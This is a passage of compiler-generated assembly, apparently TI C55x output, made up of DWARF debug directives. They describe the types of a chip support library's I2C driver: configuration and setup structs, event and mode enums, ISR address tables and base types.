$C$DW$237, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$237, DW_AT_name("DIEIDR5") .dwattr $C$DW$237, DW_AT_TI_symbol_name("_DIEIDR5") .dwattr $C$DW$237, DW_AT_data_member_location[DW_OP_plus_uconst 0x45] .dwattr $C$DW$237, DW_AT_accessibility(DW_ACCESS_public) $C$DW$238 .dwtag DW_TAG_member .dwattr $C$DW$238, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$238, DW_AT_name("DIEIDR6") .dwattr $C$DW$238, DW_AT_TI_symbol_name("_DIEIDR6") .dwattr $C$DW$238, DW_AT_data_member_location[DW_OP_plus_uconst 0x46] .dwattr $C$DW$238, DW_AT_accessibility(DW_ACCESS_public) $C$DW$239 .dwtag DW_TAG_member .dwattr $C$DW$239, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$239, DW_AT_name("DIEIDR7") .dwattr $C$DW$239, DW_AT_TI_symbol_name("_DIEIDR7") .dwattr $C$DW$239, DW_AT_data_member_location[DW_OP_plus_uconst 0x47] .dwattr $C$DW$239, DW_AT_accessibility(DW_ACCESS_public) .dwendtag $C$DW$T$26 $C$DW$T$39 .dwtag DW_TAG_typedef, DW_AT_name("CSL_SysRegs") .dwattr $C$DW$T$39, DW_AT_type(*$C$DW$T$26) .dwattr $C$DW$T$39, DW_AT_language(DW_LANG_C) $C$DW$240 .dwtag DW_TAG_TI_far_type .dwattr $C$DW$240, DW_AT_type(*$C$DW$T$39) $C$DW$241 .dwtag DW_TAG_TI_ioport_type .dwattr $C$DW$241, DW_AT_type(*$C$DW$240) $C$DW$T$40 .dwtag DW_TAG_volatile_type .dwattr $C$DW$T$40, DW_AT_type(*$C$DW$241) $C$DW$T$41 .dwtag DW_TAG_pointer_type .dwattr $C$DW$T$41, DW_AT_type(*$C$DW$T$40) .dwattr $C$DW$T$41, DW_AT_address_class(0x10) $C$DW$T$42 .dwtag DW_TAG_typedef, DW_AT_name("CSL_SysRegsOvly") .dwattr $C$DW$T$42, DW_AT_type(*$C$DW$T$41) .dwattr $C$DW$T$42, DW_AT_language(DW_LANG_C) $C$DW$T$31 .dwtag DW_TAG_structure_type .dwattr $C$DW$T$31, DW_AT_byte_size(0x08) $C$DW$242 .dwtag DW_TAG_member .dwattr $C$DW$242, DW_AT_type(*$C$DW$T$29) .dwattr $C$DW$242, DW_AT_name("funcAddr") .dwattr $C$DW$242, DW_AT_TI_symbol_name("_funcAddr") .dwattr $C$DW$242, DW_AT_data_member_location[DW_OP_plus_uconst 0x0] .dwattr $C$DW$242, DW_AT_accessibility(DW_ACCESS_public) $C$DW$243 .dwtag DW_TAG_member .dwattr $C$DW$243, DW_AT_type(*$C$DW$T$30) .dwattr $C$DW$243, DW_AT_name("funcArg") .dwattr $C$DW$243, DW_AT_TI_symbol_name("_funcArg") .dwattr $C$DW$243, DW_AT_data_member_location[DW_OP_plus_uconst 0x2] .dwattr $C$DW$243, DW_AT_accessibility(DW_ACCESS_public) $C$DW$244 .dwtag DW_TAG_member .dwattr $C$DW$244, DW_AT_type(*$C$DW$T$30) .dwattr $C$DW$244, DW_AT_name("ierMask") .dwattr $C$DW$244, DW_AT_TI_symbol_name("_ierMask") .dwattr $C$DW$244, DW_AT_data_member_location[DW_OP_plus_uconst 0x4] .dwattr $C$DW$244, DW_AT_accessibility(DW_ACCESS_public) $C$DW$245 .dwtag DW_TAG_member .dwattr $C$DW$245, DW_AT_type(*$C$DW$T$30) .dwattr $C$DW$245, DW_AT_name("cacheCtrl") .dwattr $C$DW$245, DW_AT_TI_symbol_name("_cacheCtrl") .dwattr $C$DW$245, DW_AT_data_member_location[DW_OP_plus_uconst 0x6] .dwattr $C$DW$245, DW_AT_accessibility(DW_ACCESS_public) .dwendtag $C$DW$T$31 $C$DW$T$56 .dwtag DW_TAG_typedef, DW_AT_name("CSL_IRQ_Config") .dwattr $C$DW$T$56, DW_AT_type(*$C$DW$T$31) .dwattr $C$DW$T$56, DW_AT_language(DW_LANG_C) $C$DW$T$45 .dwtag DW_TAG_enumeration_type .dwattr $C$DW$T$45, DW_AT_name("CSL_I2cAddrMode") .dwattr $C$DW$T$45, DW_AT_byte_size(0x01) $C$DW$246 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_ADDR_7BIT"), DW_AT_const_value(0x00) $C$DW$247 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_ADDR_10BIT"), DW_AT_const_value(0x01) .dwendtag $C$DW$T$45 $C$DW$T$46 .dwtag DW_TAG_typedef, DW_AT_name("CSL_I2cAddrMode") .dwattr $C$DW$T$46, DW_AT_type(*$C$DW$T$45) .dwattr $C$DW$T$46, DW_AT_language(DW_LANG_C) $C$DW$T$47 .dwtag DW_TAG_enumeration_type .dwattr $C$DW$T$47, DW_AT_name("CSL_I2cBitCount") .dwattr $C$DW$T$47, DW_AT_byte_size(0x01) $C$DW$248 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_BC_8BITS"), DW_AT_const_value(0x00) $C$DW$249 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_BC_RSVD"), DW_AT_const_value(0x01) $C$DW$250 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_BC_2BITS"), DW_AT_const_value(0x02) $C$DW$251 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_BC_3BITS"), DW_AT_const_value(0x03) $C$DW$252 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_BC_4BITS"), DW_AT_const_value(0x04) $C$DW$253 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_BC_5BITS"), DW_AT_const_value(0x05) $C$DW$254 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_BC_6BITS"), DW_AT_const_value(0x06) $C$DW$255 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_BC_7BITS"), DW_AT_const_value(0x07) .dwendtag $C$DW$T$47 $C$DW$T$48 .dwtag DW_TAG_typedef, DW_AT_name("CSL_I2cBitCount") .dwattr $C$DW$T$48, DW_AT_type(*$C$DW$T$47) .dwattr $C$DW$T$48, DW_AT_language(DW_LANG_C) $C$DW$T$32 .dwtag DW_TAG_structure_type .dwattr $C$DW$T$32, DW_AT_name("CSL_I2cConfig") .dwattr $C$DW$T$32, DW_AT_byte_size(0x09) $C$DW$256 .dwtag DW_TAG_member .dwattr $C$DW$256, DW_AT_type(*$C$DW$T$19) .dwattr $C$DW$256, DW_AT_name("icoar") .dwattr $C$DW$256, DW_AT_TI_symbol_name("_icoar") .dwattr $C$DW$256, DW_AT_data_member_location[DW_OP_plus_uconst 0x0] .dwattr $C$DW$256, DW_AT_accessibility(DW_ACCESS_public) $C$DW$257 .dwtag DW_TAG_member .dwattr $C$DW$257, DW_AT_type(*$C$DW$T$19) .dwattr $C$DW$257, DW_AT_name("icimr") .dwattr $C$DW$257, DW_AT_TI_symbol_name("_icimr") .dwattr $C$DW$257, DW_AT_data_member_location[DW_OP_plus_uconst 0x1] .dwattr $C$DW$257, DW_AT_accessibility(DW_ACCESS_public) $C$DW$258 .dwtag DW_TAG_member .dwattr $C$DW$258, DW_AT_type(*$C$DW$T$19) .dwattr $C$DW$258, DW_AT_name("icclkl") .dwattr $C$DW$258, DW_AT_TI_symbol_name("_icclkl") .dwattr $C$DW$258, DW_AT_data_member_location[DW_OP_plus_uconst 0x2] .dwattr $C$DW$258, DW_AT_accessibility(DW_ACCESS_public) $C$DW$259 .dwtag DW_TAG_member .dwattr $C$DW$259, DW_AT_type(*$C$DW$T$19) .dwattr $C$DW$259, DW_AT_name("icclkh") .dwattr $C$DW$259, DW_AT_TI_symbol_name("_icclkh") .dwattr $C$DW$259, DW_AT_data_member_location[DW_OP_plus_uconst 0x3] .dwattr $C$DW$259, DW_AT_accessibility(DW_ACCESS_public) $C$DW$260 .dwtag DW_TAG_member .dwattr $C$DW$260, DW_AT_type(*$C$DW$T$19) .dwattr $C$DW$260, DW_AT_name("iccnt") .dwattr $C$DW$260, DW_AT_TI_symbol_name("_iccnt") .dwattr $C$DW$260, DW_AT_data_member_location[DW_OP_plus_uconst 0x4] .dwattr $C$DW$260, DW_AT_accessibility(DW_ACCESS_public) $C$DW$261 .dwtag DW_TAG_member .dwattr $C$DW$261, DW_AT_type(*$C$DW$T$19) .dwattr $C$DW$261, DW_AT_name("icsar") .dwattr $C$DW$261, DW_AT_TI_symbol_name("_icsar") .dwattr $C$DW$261, DW_AT_data_member_location[DW_OP_plus_uconst 0x5] .dwattr $C$DW$261, DW_AT_accessibility(DW_ACCESS_public) $C$DW$262 .dwtag DW_TAG_member .dwattr $C$DW$262, DW_AT_type(*$C$DW$T$19) .dwattr $C$DW$262, DW_AT_name("icmdr") .dwattr $C$DW$262, DW_AT_TI_symbol_name("_icmdr") .dwattr $C$DW$262, DW_AT_data_member_location[DW_OP_plus_uconst 0x6] .dwattr $C$DW$262, DW_AT_accessibility(DW_ACCESS_public) $C$DW$263 .dwtag DW_TAG_member .dwattr $C$DW$263, DW_AT_type(*$C$DW$T$19) .dwattr $C$DW$263, DW_AT_name("icemdr") .dwattr $C$DW$263, DW_AT_TI_symbol_name("_icemdr") .dwattr $C$DW$263, DW_AT_data_member_location[DW_OP_plus_uconst 0x7] .dwattr $C$DW$263, DW_AT_accessibility(DW_ACCESS_public) $C$DW$264 .dwtag DW_TAG_member .dwattr $C$DW$264, DW_AT_type(*$C$DW$T$19) .dwattr $C$DW$264, DW_AT_name("icpsc") .dwattr $C$DW$264, DW_AT_TI_symbol_name("_icpsc") .dwattr $C$DW$264, DW_AT_data_member_location[DW_OP_plus_uconst 0x8] .dwattr $C$DW$264, DW_AT_accessibility(DW_ACCESS_public) .dwendtag $C$DW$T$32 $C$DW$T$57 .dwtag DW_TAG_typedef, DW_AT_name("CSL_I2cConfig") .dwattr $C$DW$T$57, DW_AT_type(*$C$DW$T$32) .dwattr $C$DW$T$57, DW_AT_language(DW_LANG_C) $C$DW$T$58 .dwtag DW_TAG_pointer_type .dwattr $C$DW$T$58, DW_AT_type(*$C$DW$T$57) .dwattr $C$DW$T$58, DW_AT_address_class(0x17) $C$DW$T$59 .dwtag DW_TAG_enumeration_type .dwattr $C$DW$T$59, DW_AT_name("CSL_I2cEvent") .dwattr $C$DW$T$59, DW_AT_byte_size(0x01) $C$DW$265 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_EVENT_AL"), DW_AT_const_value(0x00) $C$DW$266 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_EVENT_NACK"), DW_AT_const_value(0x01) $C$DW$267 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_EVENT_ARDY"), DW_AT_const_value(0x02) $C$DW$268 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_EVENT_ICRRDY"), DW_AT_const_value(0x03) $C$DW$269 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_EVENT_ICXRDY"), DW_AT_const_value(0x04) $C$DW$270 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_EVENT_SCD"), DW_AT_const_value(0x05) $C$DW$271 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_EVENT_AAS"), DW_AT_const_value(0x06) .dwendtag $C$DW$T$59 $C$DW$T$60 .dwtag DW_TAG_typedef, DW_AT_name("CSL_I2cEvent") .dwattr $C$DW$T$60, DW_AT_type(*$C$DW$T$59) .dwattr $C$DW$T$60, DW_AT_language(DW_LANG_C) $C$DW$T$51 .dwtag DW_TAG_enumeration_type .dwattr $C$DW$T$51, DW_AT_name("CSL_I2cFreeMode") .dwattr $C$DW$T$51, DW_AT_byte_size(0x01) $C$DW$272 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_FREEMODE_DISABLE"), DW_AT_const_value(0x00) $C$DW$273 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_FREEMODE_ENABLE"), DW_AT_const_value(0x01) .dwendtag $C$DW$T$51 $C$DW$T$52 .dwtag DW_TAG_typedef, DW_AT_name("CSL_I2cFreeMode") .dwattr $C$DW$T$52, DW_AT_type(*$C$DW$T$51) .dwattr $C$DW$T$52, DW_AT_language(DW_LANG_C) $C$DW$T$34 .dwtag DW_TAG_structure_type .dwattr $C$DW$T$34, DW_AT_name("CSL_I2cIsrAddr") .dwattr $C$DW$T$34, DW_AT_byte_size(0x0e) $C$DW$274 .dwtag DW_TAG_member .dwattr $C$DW$274, DW_AT_type(*$C$DW$T$33) .dwattr $C$DW$274, DW_AT_name("alAddr") .dwattr $C$DW$274, DW_AT_TI_symbol_name("_alAddr") .dwattr $C$DW$274, DW_AT_data_member_location[DW_OP_plus_uconst 0x0] .dwattr $C$DW$274, DW_AT_accessibility(DW_ACCESS_public) $C$DW$275 .dwtag DW_TAG_member .dwattr $C$DW$275, DW_AT_type(*$C$DW$T$33) .dwattr $C$DW$275, DW_AT_name("nackAddr") .dwattr $C$DW$275, DW_AT_TI_symbol_name("_nackAddr") .dwattr $C$DW$275, DW_AT_data_member_location[DW_OP_plus_uconst 0x2] .dwattr $C$DW$275, DW_AT_accessibility(DW_ACCESS_public) $C$DW$276 .dwtag DW_TAG_member .dwattr $C$DW$276, DW_AT_type(*$C$DW$T$33) .dwattr $C$DW$276, DW_AT_name("ardyAddr") .dwattr $C$DW$276, DW_AT_TI_symbol_name("_ardyAddr") .dwattr $C$DW$276, DW_AT_data_member_location[DW_OP_plus_uconst 0x4] .dwattr $C$DW$276, DW_AT_accessibility(DW_ACCESS_public) $C$DW$277 .dwtag DW_TAG_member .dwattr $C$DW$277, DW_AT_type(*$C$DW$T$33) .dwattr $C$DW$277, DW_AT_name("rrdyAddr") .dwattr $C$DW$277, DW_AT_TI_symbol_name("_rrdyAddr") .dwattr $C$DW$277, DW_AT_data_member_location[DW_OP_plus_uconst 0x6] .dwattr $C$DW$277, DW_AT_accessibility(DW_ACCESS_public) $C$DW$278 .dwtag DW_TAG_member .dwattr $C$DW$278, DW_AT_type(*$C$DW$T$33) .dwattr $C$DW$278, DW_AT_name("xrdyAddr") .dwattr $C$DW$278, DW_AT_TI_symbol_name("_xrdyAddr") .dwattr $C$DW$278, DW_AT_data_member_location[DW_OP_plus_uconst 0x8] .dwattr $C$DW$278, DW_AT_accessibility(DW_ACCESS_public) $C$DW$279 .dwtag DW_TAG_member .dwattr $C$DW$279, DW_AT_type(*$C$DW$T$33) .dwattr $C$DW$279, DW_AT_name("scdAddr") .dwattr $C$DW$279, DW_AT_TI_symbol_name("_scdAddr") .dwattr $C$DW$279, DW_AT_data_member_location[DW_OP_plus_uconst 0xa] .dwattr $C$DW$279, DW_AT_accessibility(DW_ACCESS_public) $C$DW$280 .dwtag DW_TAG_member .dwattr $C$DW$280, DW_AT_type(*$C$DW$T$33) .dwattr $C$DW$280, DW_AT_name("aasAddr") .dwattr $C$DW$280, DW_AT_TI_symbol_name("_aasAddr") .dwattr $C$DW$280, DW_AT_data_member_location[DW_OP_plus_uconst 0xc] .dwattr $C$DW$280, DW_AT_accessibility(DW_ACCESS_public) .dwendtag $C$DW$T$34 $C$DW$T$61 .dwtag DW_TAG_typedef, DW_AT_name("CSL_I2cIsrAddr") .dwattr $C$DW$T$61, DW_AT_type(*$C$DW$T$34) .dwattr $C$DW$T$61, DW_AT_language(DW_LANG_C) $C$DW$T$62 .dwtag DW_TAG_pointer_type .dwattr $C$DW$T$62, DW_AT_type(*$C$DW$T$61) .dwattr $C$DW$T$62, DW_AT_address_class(0x17) $C$DW$T$49 .dwtag DW_TAG_enumeration_type .dwattr $C$DW$T$49, DW_AT_name("CSL_I2cLoopback") .dwattr $C$DW$T$49, DW_AT_byte_size(0x01) $C$DW$281 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_LOOPBACK_DISABLE"), DW_AT_const_value(0x00) $C$DW$282 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_LOOPBACK_ENABLE"), DW_AT_const_value(0x01) .dwendtag $C$DW$T$49 $C$DW$T$50 .dwtag DW_TAG_typedef, DW_AT_name("CSL_I2cLoopback") .dwattr $C$DW$T$50, DW_AT_type(*$C$DW$T$49) .dwattr $C$DW$T$50, DW_AT_language(DW_LANG_C) $C$DW$T$44 .dwtag DW_TAG_structure_type .dwattr $C$DW$T$44, DW_AT_name("CSL_I2cObj") .dwattr $C$DW$T$44, DW_AT_byte_size(0x10) $C$DW$283 .dwtag DW_TAG_member .dwattr $C$DW$283, DW_AT_type(*$C$DW$T$38) .dwattr $C$DW$283, DW_AT_name("i2cRegs") .dwattr $C$DW$283, DW_AT_TI_symbol_name("_i2cRegs") .dwattr $C$DW$283, DW_AT_data_member_location[DW_OP_plus_uconst 0x0] .dwattr $C$DW$283, DW_AT_accessibility(DW_ACCESS_public) $C$DW$284 .dwtag DW_TAG_member .dwattr $C$DW$284, DW_AT_type(*$C$DW$T$42) .dwattr $C$DW$284, DW_AT_name("sysCtrlRegs") .dwattr $C$DW$284, DW_AT_TI_symbol_name("_sysCtrlRegs") .dwattr $C$DW$284, DW_AT_data_member_location[DW_OP_plus_uconst 0x1] .dwattr $C$DW$284, DW_AT_accessibility(DW_ACCESS_public) $C$DW$285 .dwtag DW_TAG_member .dwattr $C$DW$285, DW_AT_type(*$C$DW$T$43) .dwattr $C$DW$285, DW_AT_name("I2C_isrDispatchTable") .dwattr $C$DW$285, DW_AT_TI_symbol_name("_I2C_isrDispatchTable") .dwattr $C$DW$285, DW_AT_data_member_location[DW_OP_plus_uconst 0x2] .dwattr $C$DW$285, DW_AT_accessibility(DW_ACCESS_public) .dwendtag $C$DW$T$44 $C$DW$T$63 .dwtag DW_TAG_typedef, DW_AT_name("CSL_I2cObj") .dwattr $C$DW$T$63, DW_AT_type(*$C$DW$T$44) .dwattr $C$DW$T$63, DW_AT_language(DW_LANG_C) $C$DW$T$64 .dwtag DW_TAG_pointer_type .dwattr $C$DW$T$64, DW_AT_type(*$C$DW$T$63) .dwattr $C$DW$T$64, DW_AT_address_class(0x17) $C$DW$T$65 .dwtag DW_TAG_typedef, DW_AT_name("pI2cHandle") .dwattr $C$DW$T$65, DW_AT_type(*$C$DW$T$64) .dwattr $C$DW$T$65, DW_AT_language(DW_LANG_C) $C$DW$T$53 .dwtag DW_TAG_enumeration_type .dwattr $C$DW$T$53, DW_AT_name("CSL_I2cRepeatMode") .dwattr $C$DW$T$53, DW_AT_byte_size(0x01) $C$DW$286 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_REPEATMODE_DISABLE"), DW_AT_const_value(0x00) $C$DW$287 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_I2C_REPEATMODE_ENABLE"), DW_AT_const_value(0x01) .dwendtag $C$DW$T$53 $C$DW$T$54 .dwtag DW_TAG_typedef, DW_AT_name("CSL_I2cRepeatMode") .dwattr $C$DW$T$54, DW_AT_type(*$C$DW$T$53) .dwattr $C$DW$T$54, DW_AT_language(DW_LANG_C) $C$DW$T$55 .dwtag DW_TAG_structure_type .dwattr $C$DW$T$55, DW_AT_name("CSL_I2cSetup") .dwattr $C$DW$T$55, DW_AT_byte_size(0x0a) $C$DW$288 .dwtag DW_TAG_member .dwattr $C$DW$288, DW_AT_type(*$C$DW$T$46) .dwattr $C$DW$288, DW_AT_name("addrMode") .dwattr $C$DW$288, DW_AT_TI_symbol_name("_addrMode") .dwattr $C$DW$288, DW_AT_data_member_location[DW_OP_plus_uconst 0x0] .dwattr $C$DW$288, DW_AT_accessibility(DW_ACCESS_public) $C$DW$289 .dwtag DW_TAG_member .dwattr $C$DW$289, DW_AT_type(*$C$DW$T$48) .dwattr $C$DW$289, DW_AT_name("bitCount") .dwattr $C$DW$289, DW_AT_TI_symbol_name("_bitCount") .dwattr $C$DW$289, DW_AT_data_member_location[DW_OP_plus_uconst 0x1] .dwattr $C$DW$289, DW_AT_accessibility(DW_ACCESS_public) $C$DW$290 .dwtag DW_TAG_member .dwattr $C$DW$290, DW_AT_type(*$C$DW$T$50) .dwattr $C$DW$290, DW_AT_name("loopBack") .dwattr $C$DW$290, DW_AT_TI_symbol_name("_loopBack") .dwattr $C$DW$290, DW_AT_data_member_location[DW_OP_plus_uconst 0x2] .dwattr $C$DW$290, DW_AT_accessibility(DW_ACCESS_public) $C$DW$291 .dwtag DW_TAG_member .dwattr $C$DW$291, DW_AT_type(*$C$DW$T$52) .dwattr $C$DW$291, DW_AT_name("freeMode") .dwattr $C$DW$291, DW_AT_TI_symbol_name("_freeMode") .dwattr $C$DW$291, DW_AT_data_member_location[DW_OP_plus_uconst 0x3] .dwattr $C$DW$291, DW_AT_accessibility(DW_ACCESS_public) $C$DW$292 .dwtag DW_TAG_member .dwattr $C$DW$292, DW_AT_type(*$C$DW$T$54) .dwattr $C$DW$292, DW_AT_name("repeatMode") .dwattr $C$DW$292, DW_AT_TI_symbol_name("_repeatMode") .dwattr $C$DW$292, DW_AT_data_member_location[DW_OP_plus_uconst 0x4] .dwattr $C$DW$292, DW_AT_accessibility(DW_ACCESS_public) $C$DW$293 .dwtag DW_TAG_member .dwattr $C$DW$293, DW_AT_type(*$C$DW$T$19) .dwattr $C$DW$293, DW_AT_name("ownAddr") .dwattr $C$DW$293, DW_AT_TI_symbol_name("_ownAddr") .dwattr $C$DW$293, DW_AT_data_member_location[DW_OP_plus_uconst 0x5] .dwattr $C$DW$293, DW_AT_accessibility(DW_ACCESS_public) $C$DW$294 .dwtag DW_TAG_member .dwattr $C$DW$294, DW_AT_type(*$C$DW$T$30) .dwattr $C$DW$294, DW_AT_name("sysInputClk") .dwattr $C$DW$294, DW_AT_TI_symbol_name("_sysInputClk") .dwattr $C$DW$294, DW_AT_data_member_location[DW_OP_plus_uconst 0x6] .dwattr $C$DW$294, DW_AT_accessibility(DW_ACCESS_public) $C$DW$295 .dwtag DW_TAG_member .dwattr $C$DW$295, DW_AT_type(*$C$DW$T$30) .dwattr $C$DW$295, DW_AT_name("i2cBusFreq") .dwattr $C$DW$295, DW_AT_TI_symbol_name("_i2cBusFreq") .dwattr $C$DW$295, DW_AT_data_member_location[DW_OP_plus_uconst 0x8] .dwattr $C$DW$295, DW_AT_accessibility(DW_ACCESS_public) .dwendtag $C$DW$T$55 $C$DW$T$66 .dwtag DW_TAG_typedef, DW_AT_name("CSL_I2cSetup") .dwattr $C$DW$T$66, DW_AT_type(*$C$DW$T$55) .dwattr $C$DW$T$66, DW_AT_language(DW_LANG_C) $C$DW$T$27 .dwtag DW_TAG_subroutine_type .dwattr $C$DW$T$27, DW_AT_language(DW_LANG_C) $C$DW$T$28 .dwtag DW_TAG_pointer_type .dwattr $C$DW$T$28, DW_AT_type(*$C$DW$T$27) .dwattr $C$DW$T$28, DW_AT_address_class(0x20) $C$DW$T$33 .dwtag DW_TAG_typedef, DW_AT_name("CSL_I2C_EVENT_ISR") .dwattr $C$DW$T$33, DW_AT_type(*$C$DW$T$28) .dwattr $C$DW$T$33, DW_AT_language(DW_LANG_C) $C$DW$T$43 .dwtag DW_TAG_array_type .dwattr $C$DW$T$43, DW_AT_type(*$C$DW$T$33) .dwattr $C$DW$T$43, DW_AT_language(DW_LANG_C) .dwattr $C$DW$T$43, DW_AT_byte_size(0x0e) $C$DW$296 .dwtag DW_TAG_subrange_type .dwattr $C$DW$296, DW_AT_upper_bound(0x06) .dwendtag $C$DW$T$43 $C$DW$T$29 .dwtag DW_TAG_typedef, DW_AT_name("IRQ_IsrPtr") .dwattr $C$DW$T$29, DW_AT_type(*$C$DW$T$28) .dwattr $C$DW$T$29, DW_AT_language(DW_LANG_C) $C$DW$T$4 .dwtag DW_TAG_base_type .dwattr $C$DW$T$4, DW_AT_encoding(DW_ATE_boolean) .dwattr $C$DW$T$4, DW_AT_name("bool") .dwattr $C$DW$T$4, DW_AT_byte_size(0x01) $C$DW$T$5 .dwtag DW_TAG_base_type .dwattr $C$DW$T$5, DW_AT_encoding(DW_ATE_signed_char) .dwattr $C$DW$T$5, DW_AT_name("signed char") .dwattr $C$DW$T$5, DW_AT_byte_size(0x01) $C$DW$T$6 .dwtag DW_TAG_base_type .dwattr $C$DW$T$6, DW_AT_encoding(DW_ATE_unsigned_char) .dwattr $C$DW$T$6, DW_AT_name("unsigned char") .dwattr $C$DW$T$6, DW_AT_byte_size(0x01) $C$DW$T$7 .dwtag DW_TAG_base_type .dwattr $C$DW$T$7, DW_AT_encoding(DW_ATE_signed_char) .dwattr $C$DW$T$7, DW_AT_name("wchar_t") .dwattr $C$DW$T$7, DW_AT_byte_size(0x01) $C$DW$T$8 .dwtag DW_TAG_base_type .dwattr $C$DW$T$8, DW_AT_encoding(DW_ATE_signed) .dwattr $C$DW$T$8, DW_AT_name("short") .dwattr $C$DW$T$8, DW_AT_byte_size(0x01) $C$DW$T$69 .dwtag DW_TAG_typedef, DW_AT_name("Int16") .dwattr $C$DW$T$69, DW_AT_type(*$C$DW$T$8) .dwattr $C$DW$T$69, DW_AT_language(DW_LANG_C) $C$DW$T$70 .dwtag DW_TAG_typedef, DW_AT_name("CSL_Status") .dwattr $C$DW$T$70, DW_AT_type(*$C$DW$T$69) .dwattr $C$DW$T$70, DW_AT_language(DW_LANG_C) $C$DW$297 .dwtag DW_TAG_TI_far_type .dwattr $C$DW$297, DW_AT_type(*$C$DW$T$69) $C$DW$T$83 .dwtag DW_TAG_volatile_type .dwattr $C$DW$T$83, DW_AT_type(*$C$DW$297) $C$DW$T$9 .dwtag DW_TAG_base_type .dwattr $C$DW$T$9, DW_AT_encoding(DW_ATE_unsigned) .dwattr $C$DW$T$9, DW_AT_name("unsigned short") .dwattr $C$DW$T$9, DW_AT_byte_size(0x01) $C$DW$T$19 .dwtag DW_TAG_typedef, DW_AT_name("Uint16") .dwattr $C$DW$T$19, DW_AT_type(*$C$DW$T$9) .dwattr $C$DW$T$19, DW_AT_language(DW_LANG_C) $C$DW$298 .dwtag DW_TAG_TI_far_type .dwattr $C$DW$298, DW_AT_type(*$C$DW$T$19) $C$DW$T$20 .dwtag DW_TAG_volatile_type .dwattr $C$DW$T$20, DW_AT_type(*$C$DW$298) $C$DW$T$21 .dwtag DW_TAG_array_type .dwattr $C$DW$T$21, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$T$21, DW_AT_language(DW_LANG_C) .dwattr $C$DW$T$21, DW_AT_byte_size(0x03) $C$DW$299 .dwtag DW_TAG_subrange_type .dwattr $C$DW$299, DW_AT_upper_bound(0x02) .dwendtag $C$DW$T$21 $C$DW$T$23 .dwtag DW_TAG_array_type .dwattr $C$DW$T$23, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$T$23, DW_AT_language(DW_LANG_C) .dwattr $C$DW$T$23, DW_AT_byte_size(0x0e) $C$DW$300 .dwtag DW_TAG_subrange_type .dwattr $C$DW$300, DW_AT_upper_bound(0x0d) .dwendtag $C$DW$T$23 $C$DW$T$24 .dwtag DW_TAG_array_type .dwattr $C$DW$T$24, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$T$24, DW_AT_language(DW_LANG_C) .dwattr $C$DW$T$24, DW_AT_byte_size(0x02) $C$DW$301 .dwtag DW_TAG_subrange_type .dwattr $C$DW$301, DW_AT_upper_bound(0x01) .dwendtag $C$DW$T$24 $C$DW$T$25 .dwtag DW_TAG_array_type .dwattr $C$DW$T$25, DW_AT_type(*$C$DW$T$20) .dwattr $C$DW$T$25, DW_AT_language(DW_LANG_C) .dwattr $C$DW$T$25, DW_AT_byte_size(0x05) $C$DW$302 .dwtag DW_TAG_subrange_type .dwattr $C$DW$302, DW_AT_upper_bound(0x04) .dwendtag $C$DW$T$25 $C$DW$T$87 .dwtag DW_TAG_array_type .dwattr $C$DW$T$87, DW_AT_type(*$C$DW$T$19) .dwattr $C$DW$T$87, DW_AT_language(DW_LANG_C) .dwattr $C$DW$T$87, DW_AT_byte_size(0x42) $C$DW$303 .dwtag DW_TAG_subrange_type .dwattr $C$DW$303, DW_AT_upper_bound(0x41) .dwendtag $C$DW$T$87 $C$DW$T$88 .dwtag DW_TAG_array_type .dwattr $C$DW$T$88, DW_AT_type(*$C$DW$T$19) .dwattr $C$DW$T$88, DW_AT_language(DW_LANG_C) .dwattr $C$DW$T$88, DW_AT_byte_size(0x40) $C$DW$304 .dwtag DW_TAG_subrange_type .dwattr $C$DW$304, DW_AT_upper_bound(0x3f) .dwendtag $C$DW$T$88 $C$DW$T$10 .dwtag DW_TAG_base_type .dwattr $C$DW$T$10, DW_AT_encoding(DW_ATE_signed) .dwattr $C$DW$T$10, DW_AT_name("int") .dwattr $C$DW$T$10, DW_AT_byte_size(0x01) $C$DW$T$90 .dwtag DW_TAG_typedef, DW_AT_name("Bool") .dwattr $C$DW$T$90, DW_AT_type(*$C$DW$T$10) .dwattr $C$DW$T$90, DW_AT_language(DW_LANG_C) $C$DW$T$11 .dwtag DW_TAG_base_type .dwattr $C$DW$T$11, DW_AT_encoding(DW_ATE_unsigned) .dwattr $C$DW$T$11, DW_AT_name("unsigned int") .dwattr $C$DW$T$11, DW_AT_byte_size(0x01) $C$DW$T$12 .dwtag DW_TAG_base_type .dwattr $C$DW$T$12, DW_AT_encoding(DW_ATE_signed) .dwattr $C$DW$T$12, DW_AT_name("long") .dwattr $C$DW$T$12, DW_AT_byte_size(0x02) $C$DW$T$13 .dwtag DW_TAG_base_type .dwattr $C$DW$T$13, DW_AT_encoding(DW_ATE_unsigned) .dwattr $C$DW$T$13, DW_AT_name("unsigned long") .dwattr $C$DW$T$13, DW_AT_byte_size(0x02) $C$DW$T$30 .dwtag DW_TAG_typedef, DW_AT_name("Uint32") .dwattr $C$DW$T$30, DW_AT_type(*$C$DW$T$13) .dwattr $C$DW$T$30, DW_AT_language(DW_LANG_C) $C$DW$T$14 .dwtag 